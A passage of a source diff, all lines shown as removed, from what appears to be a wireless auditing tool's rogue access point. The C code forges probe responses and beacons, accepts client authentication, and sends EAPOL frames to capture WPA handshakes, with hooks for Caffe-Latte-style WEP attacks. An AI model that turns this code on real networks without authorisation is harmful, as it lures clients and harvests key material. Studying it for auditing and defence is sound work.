-		memset(st_cur->essid, 0, 256);
-		st_cur->essid_length = 0;
-
-		st_cur->wpatype = 0;
-		st_cur->wpahash = 0;
-		st_cur->wep = 0;
-
-		opt.st_end = st_cur;
-	}
-
-	/* Got a data packet with our bssid set and ToDS==1*/
-	if (memcmp(bssid, opt.r_bssid, 6) == 0 && (packet[0] & 0x08) == 0x08
-		&& (packet[1] & 0x03) == 0x01)
-	{
-		//         printf("to me with len: %d\n", length);
-		fragnum = packet[22] & 0x0F;
-		seqnum = (packet[22] >> 4) | (packet[23] << 4);
-		morefrag = packet[1] & 0x04;
-
-		//         printf("frag: %d, morefrag: %d\n", fragnum, morefrag);
-
-		/* Fragment? */
-		if (fragnum > 0 || morefrag)
-		{
-			addFrag(packet, smac, length);
-			buffer = getCompleteFrag(smac, seqnum, &len);
-			timeoutFrag();
-
-			/* we got frag, no compelete packet avail -> do nothing */
-			if (buffer == NULL) return 1;
-
-			//             printf("got all frags!!!\n");
-			memcpy(packet, buffer, len);
-			length = len;
-			free(buffer);
-			buffer = NULL;
-		}
-
-		/* intercept packets in case we got external processing */
-		if (external)
-		{
-			intercept(packet, length);
-			return 0;
-		}
-
-		/* To our mac? */
-		if ((memcmp(dmac, opt.r_bssid, 6) == 0 && !opt.adhoc)
-			|| (memcmp(dmac, opt.r_smac, 6) == 0 && opt.adhoc))
-		{
-			/* Is encrypted */
-			if ((packet[z] != packet[z + 1] || packet[z + 2] != 0x03)
-				&& (packet[1] & 0x40) == 0x40)
-			{
-				/* check the extended IV flag */
-				/* WEP and we got the key */
-				if ((packet[z + 3] & 0x20) == 0 && opt.crypt == CRYPT_WEP
-					&& !opt.cf_attack)
-				{
-					memcpy(K, packet + z, 3);
-					memcpy(K + 3, opt.wepkey, opt.weplen);
-
-					if (decrypt_wep(
-							packet + z + 4, length - z - 4, K, 3 + opt.weplen)
-						== 0)
-					{
-						//                         printf("ICV check
-						//                         failed!\n");
-						return 1;
-					}
-
-					/* WEP data packet was successfully decrypted, *
-					* remove the WEP IV & ICV and write the data  */
-
-					length -= 8;
-
-					memcpy(packet + z, packet + z + 4, length - z);
-
-					packet[1] &= 0xBF;
-				}
-				else
-				{
-					if (opt.cf_attack)
-					{
-						addCF(packet, length);
-						return 0;
-					}
-
-					/* it's a packet for us, but we either don't have the key or
-					 * its WPA -> throw it away */
-					return 0;
-				}
-			}
-			else
-			{
-				/* unencrypted data packet, nothing special, send it through
-				 * dev_ti */
-				if (opt.sendeapol
-					&& memcmp(packet + z,
-							  "\xAA\xAA\x03\x00\x00\x00\x88\x8E\x01\x01",
-							  10)
-						   == 0)
-				{
-					/* got eapol start frame */
-					if (opt.verbose)
-					{
-						PCT;
-						printf("Got EAPOL start frame from "
-							   "%02X:%02X:%02X:%02X:%02X:%02X\n",
-							   smac[0],
-							   smac[1],
-							   smac[2],
-							   smac[3],
-							   smac[4],
-							   smac[5]);
-					}
-					st_cur->wpa.state = 0;
-
-					if (opt.use_fixed_nonce)
-					{
-						memcpy(st_cur->wpa.anonce, opt.fixed_nonce, 32);
-					}
-					else
-					{
-						for (i = 0; i < 32; i++)
-							st_cur->wpa.anonce[i] = rand() & 0xFF;
-					}
-					st_cur->wpa.state |= 1;
-
-					/* build first eapol frame */
-					memcpy(h80211, "\x08\x02\xd5\x00", 4);
-					len = 4;
-
-					memcpy(h80211 + len, smac, 6);
-					len += 6;
-					memcpy(h80211 + len, bssid, 6);
-					len += 6;
-					memcpy(h80211 + len, bssid, 6);
-					len += 6;
-
-					h80211[len] = 0x60;
-					h80211[len + 1] = 0x0f;
-					len += 2;
-
-					// llc+snap
-					memcpy(h80211 + len, "\xAA\xAA\x03\x00\x00\x00\x88\x8E", 8);
-					len += 8;
-
-					// eapol
-					memset(h80211 + len, 0, 99);
-					h80211[len] = 0x01; // version
-					h80211[len + 1] = 0x03; // type
-					h80211[len + 2] = 0x00;
-					h80211[len + 3] = 0x5F; // len
-					if (opt.wpa1type) h80211[len + 4] = 0xFE; // WPA1
-
-					if (opt.wpa2type) h80211[len + 4] = 0x02; // WPA2
-
-					if (!opt.wpa1type && !opt.wpa2type)
-					{
-						if (st_cur->wpatype == 1) // WPA1
-							h80211[len + 4] = 0xFE; // WPA1
-						else if (st_cur->wpatype == 2)
-							h80211[len + 4] = 0x02; // WPA2
-					}
-
-					if (opt.sendeapol >= 1 && opt.sendeapol <= 2) // specified
-					{
-						if (opt.sendeapol == 1) // MD5
-						{
-							h80211[len + 5] = 0x00;
-							h80211[len + 6] = 0x89;
-						}
-						else // SHA1
-						{
-							h80211[len + 5] = 0x00;
-							h80211[len + 6] = 0x8a;
-						}
-					}
-					else // from asso
-					{
-						if (st_cur->wpahash == 1) // MD5
-						{
-							h80211[len + 5] = 0x00;
-							h80211[len + 6] = 0x89;
-						}
-						else if (st_cur->wpahash == 2) // SHA1
-						{
-							h80211[len + 5] = 0x00;
-							h80211[len + 6] = 0x8a;
-						}
-					}
-
-					h80211[len + 7] = 0x00;
-					h80211[len + 8] = 0x20; // keylen
-
-					memset(h80211 + len + 9, 0, 90);
-					memcpy(h80211 + len + 17, st_cur->wpa.anonce, 32);
-
-					len += 99;
-
-					send_packet(h80211, len);
-					return 0;
-				}
-
-				if (opt.sendeapol
-					&& memcmp(packet + z,
-							  "\xAA\xAA\x03\x00\x00\x00\x88\x8E\x01\x03",
-							  10)
-						   == 0)
-				{
-					st_cur->wpa.eapol_size
-						= (packet[z + 8 + 2] << 8) + packet[z + 8 + 3] + 4;
-
-					if ((unsigned) length - z - 10 < st_cur->wpa.eapol_size
-						|| st_cur->wpa.eapol_size == 0
-						|| st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol))
-					{
-						// Ignore the packet trying to crash us.
-						st_cur->wpa.eapol_size = 0;
-						return 1;
-					}
-
-					/* got eapol frame num 2 */
-					memcpy(st_cur->wpa.snonce, &packet[z + 8 + 17], 32);
-					st_cur->wpa.state |= 2;
-
-					memcpy(st_cur->wpa.keymic, &packet[z + 8 + 81], 16);
-					memcpy(st_cur->wpa.eapol,
-						   &packet[z + 8],
-						   st_cur->wpa.eapol_size);
-					memset(st_cur->wpa.eapol + 81, 0, 16);
-					st_cur->wpa.state |= 4;
-					st_cur->wpa.keyver = packet[z + 8 + 6] & 7;
-
-					memcpy(st_cur->wpa.stmac, st_cur->stmac, 6);
-
-					store_wpa_handshake(st_cur);
-					if (!opt.quiet)
-					{
-						PCT;
-						printf("Got WPA handshake from "
-							   "%02X:%02X:%02X:%02X:%02X:%02X\n",
-							   smac[0],
-							   smac[1],
-							   smac[2],
-							   smac[3],
-							   smac[4],
-							   smac[5]);
-					}
-
-					return 0;
-				}
-			}
-		}
-		else
-		{
-			packet[1] &= 0xFC; // clear ToDS/FromDS
-			if (!opt.adhoc)
-			{
-				/* Our bssid, ToDS=1, but to a different destination MAC -> send
-				 * it through both interfaces */
-				packet[1] |= 0x02; // set FromDS=1
-				memcpy(packet + 4, dmac, 6);
-				memcpy(packet + 10, bssid, 6);
-				memcpy(packet + 16, smac, 6);
-			}
-			else
-			{
-				/* adhoc, don't replay */
-				memcpy(packet + 4, dmac, 6);
-				memcpy(packet + 10, smac, 6);
-				memcpy(packet + 16, bssid, 6);
-			}
-			//             printf("sent packet length: %d\n", length);
-			/* Is encrypted */
-			if ((packet[z] != packet[z + 1] || packet[z + 2] != 0x03)
-				&& (packet[1] & 0x40) == 0x40)
-			{
-				/* check the extended IV flag */
-				/* WEP and we got the key */
-				if ((packet[z + 3] & 0x20) == 0 && opt.crypt == CRYPT_WEP
-					&& !opt.caffelatte
-					&& !opt.cf_attack)
-				{
-					memcpy(K, packet + z, 3);
-					memcpy(K + 3, opt.wepkey, opt.weplen);
-
-					if (decrypt_wep(
-							packet + z + 4, length - z - 4, K, 3 + opt.weplen)
-						== 0)
-					{
-						//                         printf("ICV check
-						//                         failed!\n");
-						return 1;
-					}
-
-					/* WEP data packet was successfully decrypted, *
-					* remove the WEP IV & ICV and write the data  */
-
-					length -= 8;
-
-					memcpy(packet + z, packet + z + 4, length - z);
-
-					packet[1] &= 0xBF;
-
-					/* reencrypt it to send it with a new IV */
-					memcpy(h80211, packet, length);
-
-					if (create_wep_packet(h80211, &length, z) != 0) return 1;
-
-					if (!opt.adhoc) send_packet(h80211, length);
-				}
-				else
-				{
-					if (opt.caffelatte)
-					{
-						addarp(packet, length);
-					}
-					if (opt.cf_attack)
-					{
-						addCF(packet, length);
-					}
-					/* it's a packet we can't decrypt -> just replay it through
-					 * the wireless interface */
-					return 0;
-				}
-			}
-			else
-			{
-				/* unencrypted -> send it through the wireless interface */
-				send_packet(packet, length);
-			}
-		}
-
-		memcpy(h80211, dmac, 6); // DST_MAC
-		memcpy(h80211 + 6, smac, 6); // SRC_MAC
-
-		memcpy(h80211 + 12, packet + z + 6, 2); // copy ether type
-
-		if ((unsigned) length <= z + 8) return 1;
-
-		memcpy(h80211 + 14, packet + z + 8, length - z - 8);
-		length = length - z - 8 + 14;
-
-		// ethernet frame must be at least 60 bytes without fcs
-		if (length < 60)
-		{
-			trailer = 60 - length;
-			memset(h80211 + length, 0, trailer);
-			length += trailer;
-		}
-
-		ti_write(dev.dv_ti, h80211, length);
-	}
-	else
-	{
-		// react on management frames
-		// probe request -> send probe response if essid matches. if brodcast
-		// probe, ignore it.
-		if (packet[0] == 0x40)
-		{
-			tag = parse_tags(packet + z, 0, length - z, &len);
-			if (tag != NULL && tag[0] >= 32 && len <= 255) // directed probe
-			{
-				if (opt.promiscuous || !opt.f_essid
-					|| gotESSID((char *) tag, len) == 1)
-				{
-					memset(essid, 0, 256);
-					memcpy(essid, tag, len);
-
-					/* store probes */
-					if (len > 0 && essid[0] == 0) goto skip_probe;
-
-					/* got a valid probed ESSID */
-
-					/* add this to the beacon queue */
-					if (opt.beacon_cache)
-						addESSID(essid, len, opt.beacon_cache);
-
-					/* check if it's already in the ring buffer */
-					for (i = 0; i < NB_PRB; i++)
-						if (memcmp(st_cur->probes[i], essid, len) == 0)
-							goto skip_probe;
-
-					st_cur->probe_index = (st_cur->probe_index + 1) % NB_PRB;
-					memset(st_cur->probes[st_cur->probe_index], 0, 256);
-					memcpy(st_cur->probes[st_cur->probe_index],
-						   essid,
-						   len); // twice?!
-					st_cur->ssid_length[st_cur->probe_index] = len;
-
-					for (i = 0; i < len; i++)
-					{
-						c = essid[i];
-						if (c == 0 || (c > 126 && c < 160))
-							c = '.'; // could also check ||(c>0 && c<32)
-						st_cur->probes[st_cur->probe_index][i] = c;
-					}
-
-				skip_probe:
-
-					// transform into probe response
-					packet[0] = 0x50;
-
-					if (opt.verbose)
-					{
-						PCT;
-						printf("Got directed probe request from "
-							   "%02X:%02X:%02X:%02X:%02X:%02X - \"%s\"\n",
-							   smac[0],
-							   smac[1],
-							   smac[2],
-							   smac[3],
-							   smac[4],
-							   smac[5],
-							   essid);
-					}
-
-					// store the tagged parameters and insert the fixed ones
-					buffer = (unsigned char *) malloc(length - z);
-					memcpy(buffer, packet + z, length - z);
-
-					memcpy(packet + z,
-						   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
-						   12); // fixed information
-					packet[z + 8] = (apc->interval) & 0xFF; // beacon interval
-					packet[z + 9] = (apc->interval >> 8) & 0xFF;
-					memcpy(packet + z + 10, apc->capa, 2); // capability
-
-					// set timestamp
-					gettimeofday(&tv1, NULL);
-					timestamp = tv1.tv_sec * 1000000UL + tv1.tv_usec;
-
-					// copy timestamp into response; a mod 2^64 counter
-					// incremented each microsecond
-					for (i = 0; i < 8; i++)
-					{
-						packet[z + i] = (timestamp >> (i * 8)) & 0xFF;
-					}
-
-					// insert tagged parameters
-					memcpy(packet + z + 12, buffer, length - z);
-					length += 12;
-					free(buffer);
-					buffer = NULL;
-
-					// add channel
-					packet[length] = 0x03;
-					packet[length + 1] = 0x01;
-					temp_channel = wi_get_channel(_wi_in); // current channel
-					if (!invalid_channel_displayed)
-					{
-						if (temp_channel > 255)
-						{
-							// Display error message once
-							invalid_channel_displayed = 1;
-							fprintf(stderr,
-									"Error: Got channel %d, expected a value < "
-									"256.\n",
-									temp_channel);
-						}
-						else if (temp_channel < 1)
-						{
-							invalid_channel_displayed = 1;
-							fprintf(stderr,
-									"Error: Got channel %d, expected a value > "
-									"0.\n",
-									temp_channel);
-						}
-					}
-					packet[length + 2]
-						= ((temp_channel > 255 || temp_channel < 1)
-						   && opt.channel != 0)
-							  ? opt.channel
-							  : temp_channel;
-
-					length += 3;
-
-					memcpy(packet + 4, smac, 6);
-					memcpy(packet + 10, opt.r_bssid, 6);
-					memcpy(packet + 16, opt.r_bssid, 6);
-
-					// TODO: See also about 100 lines below
-					if (opt.allwpa)
-					{
-						memcpy(packet + length,
-							   ALL_WPA2_TAGS,
-							   sizeof(ALL_WPA2_TAGS) - 1);
-						length += sizeof(ALL_WPA2_TAGS) - 1;
-						memcpy(packet + length,
-							   ALL_WPA1_TAGS,
-							   sizeof(ALL_WPA1_TAGS) - 1);
-						length += sizeof(ALL_WPA1_TAGS) - 1;
-					}
-					else
-					{
-						if (opt.wpa2type > 0)
-						{
-							memcpy(packet + length, WPA2_TAG, 22);
-							packet[length + 7] = opt.wpa2type;
-							packet[length + 13] = opt.wpa2type;
-							length += 22;
-						}
-
-						if (opt.wpa1type > 0)
-						{
-							memcpy(packet + length, WPA1_TAG, 24);
-							packet[length + 11] = opt.wpa1type;
-							packet[length + 17] = opt.wpa1type;
-							length += 24;
-						}
-					}
-
-					send_packet(packet, length);
-
-					// send_packet(packet, length);
-
-					// send_packet(packet, length);
-					return 0;
-				}
-			}
-			else // broadcast probe
-			{
-				if (!opt.nobroadprobe)
-				{
-					// transform into probe response
-					packet[0] = 0x50;
-
-					if (opt.verbose)
-					{
-						PCT;
-						printf("Got broadcast probe request from "
-							   "%02X:%02X:%02X:%02X:%02X:%02X\n",
-							   smac[0],
-							   smac[1],
-							   smac[2],
-							   smac[3],
-							   smac[4],
-							   smac[5]);
-					}
-
-					// store the tagged parameters and insert the fixed ones
-					buffer = (unsigned char *) malloc(length - z);
-					memcpy(buffer, packet + z, length - z);
-
-					memcpy(packet + z,
-						   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
-						   12); // fixed information
-					packet[z + 8] = (apc->interval) & 0xFF; // beacon interval
-					packet[z + 9] = (apc->interval >> 8) & 0xFF;
-					memcpy(packet + z + 10, apc->capa, 2); // capability
-
-					// set timestamp
-					gettimeofday(&tv1, NULL);
-					timestamp = tv1.tv_sec * 1000000UL + tv1.tv_usec;
-
-					// copy timestamp into response; a mod 2^64 counter
-					// incremented each microsecond
-					for (i = 0; i < 8; i++)
-					{
-						packet[z + i] = (timestamp >> (i * 8)) & 0xFF;
-					}
-
-					// insert essid
-					len = getESSID(fessid);
-					if (!len)
-					{
-						strncpy(fessid, "default", sizeof(fessid) - 1);
-						len = strlen(fessid);
-					}
-					packet[z + 12] = 0x00;
-					packet[z + 13] = len;
-					memcpy(packet + z + 14, fessid, len);
-
-					// insert tagged parameters
-					memcpy(packet + z + 14 + len,
-						   buffer,
-						   length
-							   - z); // now we got 2 essid tags... ignore that
-
-					length += 12; // fixed info
-					free(buffer);
-					buffer = NULL;
-					length += 2 + len; // default essid
-
-					// add channel
-					packet[length] = 0x03;
-					packet[length + 1] = 0x01;
-					temp_channel = wi_get_channel(_wi_in); // current channel
-					if (!invalid_channel_displayed)
-					{
-						if (temp_channel > 255)
-						{
-							// Display error message once
-							invalid_channel_displayed = 1;
-							fprintf(stderr,
-									"Error: Got channel %d, expected a value < "
-									"256.\n",
-									temp_channel);
-						}
-						else if (temp_channel < 1)
-						{
-							invalid_channel_displayed = 1;
-							fprintf(stderr,
-									"Error: Got channel %d, expected a value > "
-									"0.\n",
-									temp_channel);
-						}
-					}
-					packet[length + 2]
-						= ((temp_channel > 255 || temp_channel < 1)
-						   && opt.channel != 0)
-							  ? opt.channel
-							  : temp_channel;
-
-					length += 3;
-
-					memcpy(packet + 4, smac, 6);
-					memcpy(packet + 10, opt.r_bssid, 6);
-					memcpy(packet + 16, opt.r_bssid, 6);
-
-					// TODO: See also around ~3500
-					if (opt.allwpa)
-					{
-						memcpy(packet + length,
-							   ALL_WPA2_TAGS,
-							   sizeof(ALL_WPA2_TAGS) - 1);
-						length += sizeof(ALL_WPA2_TAGS) - 1;
-						memcpy(packet + length,
-							   ALL_WPA1_TAGS,
-							   sizeof(ALL_WPA1_TAGS) - 1);
-						length += sizeof(ALL_WPA1_TAGS) - 1;
-					}
-					else
-					{
-						if (opt.wpa2type > 0)
-						{
-							memcpy(packet + length, WPA2_TAG, 22);
-							packet[length + 7] = opt.wpa2type;
-							packet[length + 13] = opt.wpa2type;
-							length += 22;
-						}
-
-						if (opt.wpa1type > 0)
-						{
-							memcpy(packet + length, WPA1_TAG, 24);
-							packet[length + 11] = opt.wpa1type;
-							packet[length + 17] = opt.wpa1type;
-							length += 24;
-						}
-					}
-
-					send_packet(packet, length);
-
-					send_packet(packet, length);
-
-					send_packet(packet, length);
-					return 0;
-				}
-			}
-		}
-
-		// auth req
-		if (packet[0] == 0xB0 && memcmp(bssid, opt.r_bssid, 6) == 0)
-		{
-			if (packet[z] == 0x00) // open system auth
-			{
-				// make sure it's an auth request
-				if (packet[z + 2] == 0x01)
-				{
-					if (opt.verbose)
-					{
-						PCT;
-						printf("Got an auth request from "
-							   "%02X:%02X:%02X:%02X:%02X:%02X (open system)\n",
-							   smac[0],
-							   smac[1],
-							   smac[2],
-							   smac[3],
-							   smac[4],
-							   smac[5]);
-					}
-					memcpy(packet + 4, smac, 6);
-					memcpy(packet + 10, dmac, 6);
-					packet[z + 2] = 0x02;
-
-					if (opt.forceska)
-					{
-						packet[z] = 0x01;
-						packet[z + 4] = 13;
-					}
-
-					send_packet(packet, length);
-					return 0;
-				}
-			}
-			else // shared key auth
-			{
-				// first response
-				if (packet[z + 2] == 0x01 && (packet[1] & 0x40) == 0x00)
-				{
-					if (opt.verbose)
-					{
-						PCT;
-						printf("Got an auth request from "
-							   "%02X:%02X:%02X:%02X:%02X:%02X (shared key)\n",
-							   smac[0],
-							   smac[1],
-							   smac[2],
-							   smac[3],
-							   smac[4],
-							   smac[5]);
-					}
-					memcpy(packet + 4, smac, 6);
-					memcpy(packet + 10, dmac, 6);
-					packet[z + 2] = 0x02;
-
-					remaining = opt.skalen;
-
-					while (remaining > 0)
-					{
-						bytes2use = MIN(255, remaining);
-						remaining -= bytes2use;
-						// add challenge
-						packet[length] = 0x10;
-						packet[length + 1] = bytes2use;
-						length += 2;
-
-						for (i = 0; i < bytes2use; i++)
-						{
-							packet[length + i] = rand() & 0xFF;
-						}
-
-						length += bytes2use;
-					}
-					send_packet(packet, length);
-					check_shared_key(packet, length);
-					return 0;
-				}
-
-				// second response
-				if ((packet[1] & 0x40) == 0x40)
-				{
-					check_shared_key(packet, length);
-					packet[1] = 0x00; // not encrypted
-					memcpy(packet + 4, smac, 6);
-					memcpy(packet + 10, dmac, 6);
-
-					packet[z] = 0x01; // shared key
-					packet[z + 1] = 0x00;
-					packet[z + 2] = 0x04; // sequence 4
-					packet[z + 3] = 0x00;
-					packet[z + 4] = 0x00; // successful
-					packet[z + 5] = 0x00;
-
-					length = z + 6;
-					send_packet(packet, length);
-					check_shared_key(packet, length);
-					if (!opt.quiet) PCT;
-					printf("SKA from %02X:%02X:%02X:%02X:%02X:%02X\n",
-						   smac[0],
-						   smac[1],
-						   smac[2],
-						   smac[3],
-						   smac[4],
-						   smac[5]);
-				}
-			}
-		}
-
-		// asso req or reasso
-		if ((packet[0] == 0x00 || packet[0] == 0x20)
-			&& memcmp(bssid, opt.r_bssid, 6) == 0)
-		{
-			if (packet[0] == 0x00) // asso req
-			{
-				reasso = 0;
-				fixed = 4;
-			}
-			else
-			{
-				reasso = 1;
-				fixed = 10;
-			}
-
-			st_cur->wep = (packet[z] & 0x10) >> 4;
-
-			tag = parse_tags(packet + z + fixed, 0, length - z - fixed, &len);
-			if (tag != NULL && tag[0] >= 32 && len < 256)
-			{
-				memcpy(essid, tag, len);
-				essid[len] = 0x00;
-				if (opt.f_essid && !gotESSID(essid, len)) return 0;
-			}
-
-			st_cur->wpatype = 0;
-			st_cur->wpahash = 0;
-
-			tag = parse_tags(
-				packet + z + fixed, 0xDD, length - z - fixed, &len);
-			while (tag != NULL)
-			{
-				//                 printf("Found WPA TAG\n");
-				wpa_client(st_cur, tag - 2, len + 2);
-				tag += (tag - 2)[1] + 2;
-				tag = parse_tags(
-					tag - 2, 0xDD, length - (tag - packet) + 2, &len);
-			}
-
-			tag = parse_tags(
-				packet + z + fixed, 0x30, length - z - fixed, &len);
-			while (tag != NULL)
-			{
-				//                 printf("Found WPA2 TAG\n");
-				wpa_client(st_cur, tag - 2, len + 2);
-				tag += (tag - 2)[1] + 2;
-				tag = parse_tags(
-					tag - 2, 0x30, length - (tag - packet) + 2, &len);
-			}
-
-			if (!reasso)
-				packet[0] = 0x10;
-			else
-				packet[0] = 0x30;
-
-			memcpy(packet + 4, smac, 6);
-			memcpy(packet + 10, dmac, 6);
-
-			// store the tagged parameters and insert the fixed ones
-			buffer = (unsigned char *) malloc(length - z - fixed);
-			memcpy(buffer, packet + z + fixed, length - z - fixed);
-
-			packet[z + 2] = 0x00;
-			packet[z + 3] = 0x00;
-			packet[z + 4] = 0x01;
-			packet[z + 5] = 0xC0;
-
-			memcpy(packet + z + 6, buffer, length - z - fixed);
-			length += (6 - fixed);
-			free(buffer);
-			buffer = NULL;
-
-			len = length - z - 6;
-			remove_tag(packet + z + 6, 0, &len);
-			length = len + z + 6;
-
-			send_packet(packet, length);
-			if (!opt.quiet)
-			{
-				PCT;
-				printf("Client %02X:%02X:%02X:%02X:%02X:%02X %sassociated",
-					   smac[0],
-					   smac[1],
-					   smac[2],
-					   smac[3],
-					   smac[4],
-					   smac[5],
-					   (reasso == 0) ? "" : "re");
-				if (st_cur->wpatype != 0)
-				{
-					if (st_cur->wpatype == 1)
-						printf(" (WPA1");
-					else
-						printf(" (WPA2");
-
-					if (st_cur->wpahash == 1)
-						printf(";TKIP)");
-					else
-						printf(";CCMP)");
-				}
-				else if (st_cur->wep != 0)
-				{
-					printf(" (WEP)");
-				}
-				else
-				{
-					printf(" (unencrypted)");
-				}
-
-				if (essid[0] != 0x00) printf(" to ESSID: \"%s\"", essid);
-				printf("\n");
-			}
-
-			memset(st_cur->essid, 0, 256);
-			memcpy(st_cur->essid, essid, 255);
-			st_cur->essid_length = strlen(essid);
-
-			memset(essid, 0, 256);
-
-			/* either specified or determined */
-			if ((opt.sendeapol && (opt.wpa1type || opt.wpa2type))
-				|| (st_cur->wpatype && st_cur->wpahash))
-			{
-				st_cur->wpa.state = 0;
-
-				if (opt.use_fixed_nonce)
-				{
-					memcpy(st_cur->wpa.anonce, opt.fixed_nonce, 32);
-				}
-				else
-				{
-					for (i = 0; i < 32; i++)
-						st_cur->wpa.anonce[i] = rand() & 0xFF;
-				}
-
-				st_cur->wpa.state |= 1;
-
-				/* build first eapol frame */
-				memcpy(h80211, "\x08\x02\xd5\x00", 4);
-				len = 4;
-
-				memcpy(h80211 + len, smac, 6);
-				len += 6;
-				memcpy(h80211 + len, bssid, 6);
-				len += 6;
-				memcpy(h80211 + len, bssid, 6);
-				len += 6;
-
-				h80211[len] = 0x60;
-				h80211[len + 1] = 0x0f;
-				len += 2;
-
-				// llc+snap
-				memcpy(h80211 + len, "\xAA\xAA\x03\x00\x00\x00\x88\x8E", 8);
-				len += 8;
-
-				// eapol
-				memset(h80211 + len, 0, 99);
-				h80211[len] = 0x01; // version
-				h80211[len + 1] = 0x03; // type
-				h80211[len + 2] = 0x00;
-				h80211[len + 3] = 0x5F; // len
-				if (opt.wpa1type) h80211[len + 4] = 0xFE; // WPA1
-
-				if (opt.wpa2type) h80211[len + 4] = 0x02; // WPA2
-
-				if (!opt.wpa1type && !opt.wpa2type)
-				{
-					if (st_cur->wpatype == 1) // WPA1
-						h80211[len + 4] = 0xFE; // WPA1
-					else
-						h80211[len + 4] = 0x02; // WPA2
-				}
-
-				if (opt.sendeapol >= 1 && opt.sendeapol <= 2) // specified
-				{
-					if (opt.sendeapol == 1) // MD5
-					{
-						h80211[len + 5] = 0x00;
-						h80211[len + 6] = 0x89;
-					}
-					else // SHA1
-					{
-						h80211[len + 5] = 0x00;
-						h80211[len + 6] = 0x8a;
-					}
-				}
-				else // from asso
-				{
-					if (st_cur->wpahash == 1) // MD5
-					{
-						h80211[len + 5] = 0x00;
-						h80211[len + 6] = 0x89;
-					}
-					else if (st_cur->wpahash == 2) // SHA1
-					{
-						h80211[len + 5] = 0x00;
-						h80211[len + 6] = 0x8a;
-					}
-				}
-
-				h80211[len + 7] = 0x00;
-				h80211[len + 8] = 0x20; // keylen
-
-				memset(h80211 + len + 9, 0, 90);
-				memcpy(h80211 + len + 17, st_cur->wpa.anonce, 32);
-
-				len += 99;
-
-				send_packet(h80211, len);
-			}
-
-			return 0;
-		}
-
-		return 0;
-	}
-
-	return 0;
-}
-
-static void beacon_thread(void * arg)
-{
-	struct AP_conf apc;
-	struct timeval tv, tv1, tv2;
-	u_int64_t timestamp;
-	unsigned char beacon[512];
-	int beacon_len = 0;
-	int seq = 0, i = 0, n = 0;
-	int essid_len, temp_channel;
-	char essid[MAX_IE_ELEMENT_SIZE + 1];
-	float f, ticks[3];
-	ssize_t rc;
-
-	memset(essid, 0, MAX_IE_ELEMENT_SIZE + 1);
-	memcpy(&apc, arg, sizeof(struct AP_conf));
-
-	ticks[0] = 0;
-	ticks[1] = 0;
-	ticks[2] = 0;
-
-	while (1)
-	{
-		/* sleep until the next clock tick */
-		if (dev.fd_rtc >= 0)
-		{
-			if ((rc = read(dev.fd_rtc, &n, sizeof(n))) < 0)
-			{
-				perror("read(/dev/rtc) failed");
-				return;
-			}
-
-			if (rc == 0)
-			{
-				perror("EOF encountered on /dev/rtc");
-				return;
-			}
-
-			ticks[0]++;
-			ticks[1]++;
-			ticks[2]++;
-		}
-		else
-		{
-			gettimeofday(&tv, NULL);
-			usleep(1000000 / RTC_RESOLUTION);
-			gettimeofday(&tv2, NULL);
-
-			f = 1000000.0f * (float) (tv2.tv_sec - tv.tv_sec)
-				+ (float) (tv2.tv_usec - tv.tv_usec);
-
-			ticks[0] += f / (1000000.f / RTC_RESOLUTION);
-			ticks[1] += f / (1000000.f / RTC_RESOLUTION);
-			ticks[2] += f / (1000000.f / RTC_RESOLUTION);
-		}
-
-		if (((double) ticks[2] / (double) RTC_RESOLUTION)
-			>= ((double) apc.interval / 1000.0) * (double) seq)
-		{
-			/* threshold reach, send one frame */
-			//             ticks[2] = 0;
-			fflush(stdout);
-			gettimeofday(&tv1, NULL);
-			timestamp = tv1.tv_sec * 1000000UL + tv1.tv_usec;
-			fflush(stdout);
-
-			/* flush expired ESSID entries */
-			flushESSID();
-			essid_len = getNextESSID(essid);
-			if (!essid_len)
-			{
-				strncpy(essid, "default", sizeof(essid) - 1);
-				essid_len = strlen("default");
-			}
-
-			beacon_len = 0;
-
-			memcpy(beacon,
-				   "\x80\x00\x00\x00",
-				   4); // type/subtype/framecontrol/duration
-			beacon_len += 4;
-			memcpy(beacon + beacon_len, BROADCAST, 6); // destination
-			beacon_len += 6;
-			if (!opt.adhoc)
-				memcpy(beacon + beacon_len, apc.bssid, 6); // source
-			else
-				memcpy(beacon + beacon_len, opt.r_smac, 6); // source
-			beacon_len += 6;
-			memcpy(beacon + beacon_len, apc.bssid, 6); // bssid
-			beacon_len += 6;
-			memcpy(beacon + beacon_len, "\x00\x00", 2); // seq+frag
-			beacon_len += 2;
-
-			memcpy(beacon + beacon_len,
-				   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
-				   12); // fixed information
-
-			beacon[beacon_len + 8] = (apc.interval * MAX(getESSIDcount(), 1))
-									 & 0xFF; // beacon interval
-			beacon[beacon_len + 9]
-				= (apc.interval * MAX(getESSIDcount(), 1) >> 8) & 0xFF;
-			memcpy(beacon + beacon_len + 10, apc.capa, 2); // capability
-			beacon_len += 12;
-
-			beacon[beacon_len] = 0x00; // essid tag
-			beacon[beacon_len + 1] = essid_len; // essid tag
-			beacon_len += 2;
-			memcpy(beacon + beacon_len, essid, essid_len); // actual essid
-			beacon_len += essid_len;
-
-			memcpy(beacon + beacon_len, RATES, sizeof(RATES) - 1); // rates
-			beacon_len += sizeof(RATES) - 1;
-
-			beacon[beacon_len] = 0x03; // channel tag
-			beacon[beacon_len + 1] = 0x01;
-			temp_channel = wi_get_channel(_wi_in); // current channel
-			if (!invalid_channel_displayed)
-			{
-				if (temp_channel > 255)
-				{
-					// Display error message once
-					invalid_channel_displayed = 1;
-					fprintf(stderr,
-							"Error: Got channel %d, expected a value < 256.\n",
-							temp_channel);
-				}
-				else if (temp_channel < 1)
-				{
-					invalid_channel_displayed = 1;
-					fprintf(stderr,
-							"Error: Got channel %d, expected a value > 0.\n",
-							temp_channel);
-				}
-			}
-			beacon[beacon_len + 2]
-				= ((temp_channel > 255 || temp_channel < 1) && opt.channel != 0)
-					  ? opt.channel
-					  : temp_channel;
-
-			beacon_len += 3;
-
-			if (opt.allwpa)
-			{
-				memcpy(beacon + beacon_len,
-					   ALL_WPA2_TAGS,
-					   sizeof(ALL_WPA2_TAGS) - 1);
-				beacon_len += sizeof(ALL_WPA2_TAGS) - 1;
-			}
-			else if (opt.wpa2type > 0)
-			{
-				memcpy(beacon + beacon_len, WPA2_TAG, 22);
-				beacon[beacon_len + 7] = opt.wpa2type;
-				beacon[beacon_len + 13] = opt.wpa2type;
-				beacon_len += 22;
-			}
-
-			// Add extended rates
-			memcpy(beacon + beacon_len,
-				   EXTENDED_RATES,
